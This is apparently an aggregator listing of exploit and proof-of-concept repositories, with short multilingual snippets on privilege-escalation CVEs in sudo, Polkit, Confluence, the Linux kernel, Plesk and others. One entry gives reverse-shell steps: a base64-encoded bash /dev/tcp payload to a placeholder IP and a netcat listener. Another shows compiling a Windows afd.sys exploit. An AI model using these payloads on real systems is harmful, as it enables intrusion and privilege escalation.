CVE-2021-21239

Technischer Bericht zu CVE-2021-21239: SAML-Authentifizierungsschwachstelle in Redash Einführung in SAML Security Assertion Markup Language SAML ist ein offener Standard für den Austausch von Authentifizierungs- und Autorisierungsdaten zwischen Parteien in einem föderierten Identitätssystem. Er...

CVE-2023-0386_POC

Team CVE-MD Dieses Repository enthält einen Proof-of-Concept für CVE-2023-0386: https://nvd.nist.gov/vuln/detail/CVE-2023-0386 Teammitglieder: Bǎnicǎ Dragoș-Marius und Borsos Matheas-Roland Hier ist das Video: https://www.youtube.com/watch?v=Ikux1rjIYP0 CVE-2023-0386 — Lokale Privilegienerweiteru...

CVE-2025-57489

CVE-2025-57489 الوصف من مدونة المطوّر: عندما يتم فتح القفل في SuperDuper للسماح بالتنفيذ دون الحاجة إلى إدخال كلمة مرور المسؤول، يمكن لبرنامج خارجي استخدام تفويضنا لتشغيل شيء آخر غير النسخ الاحتياطي بصلاحيات المسؤول. وصف CVE: التحكم غير الصحيح في الوصول في مكوّن SDAgent الخاص بـ Shirt Pocket...

SUDO-privilege-escalation

Escalation dei privilegi SUDO Panoramica: Questo progetto dimostra lo sfruttamento della vulnerabilità di escalation dei privilegi di Sudo CVE-2023-22809. L'obiettivo è simulare come un attaccante possa ottenere accesso root non autorizzato sfruttando questa vulnerabilità in un ambiente...

CVE-2017-16995

L'ultima versione di Ubuntu Ubuntu 16.04 presenta una vulnerabilità ad alto rischio di elevazione locale dei privilegi, identificata con il codice CVE-2017-16995. La vulnerabilità risiede nel kernel Linux che richiama eBPF bpf2; quando un utente fornisce un programma BPF dannoso che induce un...

CVE-2023-22515

1vere$k CVE-2023-22515 iveresk-CVE-2023-22515 Il 4 ottobre 2023, Atlassian ha pubblicato un advisory per CVE-2023-22515, una vulnerabilità critica che interessa le istanze on-premises di Confluence Server e Confluence Data Center. Atlassian ha inizialmente descritto questa vulnerabilità come...

CVE-2021-3560

CVE-2021-3560 Polkit – Lokale Privilegienausweitung Ursprüngliche Entdeckung von kevinbackhouse vom GitHub Security Lab Referenzen https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/ https://www.youtube.com/watch?v=QZhz64yEd0g https://ubuntu.com/security/CVE-2021-35...

CVE-2026-65646

Improper neutralization of special elements in Plesk allows remote authenticated users to disclose arbitrary local files and escalate privileges...

CVE-2026-65646

Improper neutralization of special elements in Plesk allows remote authenticated users to disclose arbitrary local files and escalate privileges...

CVE-2026-65646

CVE-2026-65646 is an improper neutralization of special elements vulnerability in Plesk 's DNS zone management functionality , allowing remote authenticated users to disclose arbitrary local files and escalate privileges. The CVSS 4.0 base score is 8.7 (HIGH) , with low privileges required, no us...

CVE-2025-32462-Exploit

CVE-2025-32462-Exploit: Matrix-Sudo Escape Escalation dei privilegi tramite spoofing dell'hostname CVE-2025-32462 "Prendi la pillola blu... la storia finisce. Prendi la pillola rossa... ottieni root." Descrizione Questo exploit dimostra una vulnerabilità di escalation dei privilegi in sudo...

CVE-2021-21425

CVE-2021-21425 Quelle: https://www.exploit-db.com/exploits/49973 1 Ziel-IP ändern 2 Payload ändern echo -ne "bash -i & /dev/tcp/OUR-IP/80 0&1" | base64 -w0 3 sudo nc -lvnp 80 4 python3 exploit.py...

autobloody

autobloody autobloody è uno strumento per sfruttare automaticamente i percorsi di escalation dei privilegi di Active Directory mostrati da BloodHound. Descrizione Questo strumento automatizza l'escalation dei privilegi AD tra due oggetti AD: la sorgente quella che possediamo e il target quella ch...

CVE-2026-55228

Weblate is a web-based continuous localization platform used to manage software translations. In versions prior to 2026.7, the REST API did not properly enforce the scope of project- and workspace-scoped teams, allowing a user to submit invalid team configurations through the API. By assigning...

CVE-2011-1249

CVE-2011-1249 🖥️ -h3x0v3rl0rd- Microsoft Windows x86 - 'afd.sys' تصعيد الامتيازات المحلي MS11-046 root@kitploit: apt install mingw-w64 i686-w64-mingw32-gcc 40564.c -o newshell.exe -lws232...

CVE-2025-32463_sudo_chroot

CVE-2025-32463 - sudo chroot Utilizzo Il Dockerfile crea un ambiente di test sicuro e isolato con una versione vulnerabile di sudo 1.9.16p2 installata. Questo ti consente di testare l'exploit senza influenzare il tuo sistema host. root@kitploit: Build the vulnerable test environment docker build ...

CVE-2024-37726-MSI-Center-Local-Privilege-Escalation

CVE-2024-37726 MSI Center Escalação de Privilégio Local - Vulnerabilidade de Sobrescrita Arbitrária de Arquivos Resumo da Vulnerabilidade Uma vulnerabilidade de escalação de privilégio local no sistema operacional Windows foi identificada nas versões = 2.0.36.0 do MSI Center, que permite a um...

cve-2022-49186-research

CVE-2022-49186: Ricerca sull'Elevazione dei Privilegi nel Kernel Linux Panoramica Ricerca sulla sicurezza e proof-of-concept exploit per CVE-2022-49186, una vulnerabilità del kernel Linux nel driver dell'orologio Visconti che consente l'elevazione locale dei privilegi tramite overflow di array...

POC-CVE-2024-38820

CVE-2024-38820 Prova di concetto Panoramica Questo progetto dimostra CVE-2024-38820 , una vulnerabilità nel DataBinder di Spring Framework che consente di aggirare la protezione disallowedFields a causa di problemi di conversione di maiuscole/minuscole dipendenti dalla locale. Dettagli della...

CVE-2023-22515

CVE-2023-22515: Rapporto sull'analisi della vulnerabilità di elevazione dei privilegi in Confluence Data Center & Server 1. Panoramica Overview CVE-2023-22515 è una vulnerabilità critica di Broken Access Control rilevata nei prodotti Atlassian Confluence Data Center e Server. Un attaccante, senza...